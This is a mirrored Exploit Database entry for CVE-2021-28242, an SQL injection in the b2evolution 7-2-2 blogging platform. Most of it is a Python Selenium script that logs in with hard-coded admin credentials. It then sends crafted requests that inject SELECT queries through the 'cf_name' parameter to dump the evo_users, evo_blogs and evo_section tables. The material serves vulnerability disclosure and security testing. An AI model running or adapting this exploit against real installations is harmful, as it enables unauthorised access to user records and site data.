b2evolution 7-2-2 – ‘cf_name’ SQL Injection

• Exploit Database
• 95 阅读

• 作者： nu11secur1ty
  日期： 2021-05-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49840/

• # Exploit Title: b2evolution 7-2-2 - 'cf_name' SQL Injection 
  # Author: @nu11secur1ty
  # Testing and Debugging: @nu11secur1ty
  # Date: 05.06.2021
  # Vendor: https://b2evolution.net/
  # Link: https://b2evolution.net/downloads/7-2-2
  # CVE: CVE-2021-28242
  # Proof: https://streamable.com/x51kso
  
  [+] Exploit Source:
  
  #!/usr/bin/python3
  # Author: @nu11secur1ty
  # CVE-2021-28242
  
  
  from selenium import webdriver
  import time
  
  
  # Vendor: https://typo3.org/
  website_link="
  http://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link"
  
  # enter your login username
  username="admin"
  
  # enter your login password
  password="FvsDq7fmHvWF"
  
  #enter the element for username input field
  element_for_username="x"
  
  #enter the element for password input field
  element_for_password="q"
  
  #enter the element for submit button
  element_for_submit="login_action[login]"
  
  
  browser = webdriver.Chrome() #uncomment this line,for chrome users
  #browser = webdriver.Safari() #for macOS users[for others use chrome vis
  chromedriver]
  #browser = webdriver.Firefox() #uncomment this line,for chrome users
  
  browser.get((website_link))
  
  try:
  username_element = browser.find_element_by_name(element_for_username)
  username_element.send_keys(username)
  password_element= browser.find_element_by_name(element_for_password)
  password_element.send_keys(password)
  signInButton = browser.find_element_by_name(element_for_submit)
  signInButton.click()
  
  # Exploit vulnerability MySQL obtain sensitive database information by
  injecting SQL commands into the "cf_name" parameter
  time.sleep(7)
  # Receaving sensitive info for evo_users
  browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))
  
  time.sleep(7)
  # Receaving sensitive info for evo_blogs
  browser.get(("
  http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_blogs`%20ORDER%20BY%20`evo_blogs`.`blog_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))
  
  time.sleep(7)
  # Receaving sensitive info for evo_section
  browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_section`%20ORDER%20BY%20`evo_section`.`sec_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))
  
  
  time.sleep(7)
  browser.close()
  
  
  print("At the time, of the exploit, you had to see information about the
  tables...\n")
  
  
  
  except Exception:
  #### This exception occurs if the element are not found in the webpage.
  print("Sorry, your exploit is not working for some reasons...")
  

  Python

  Copy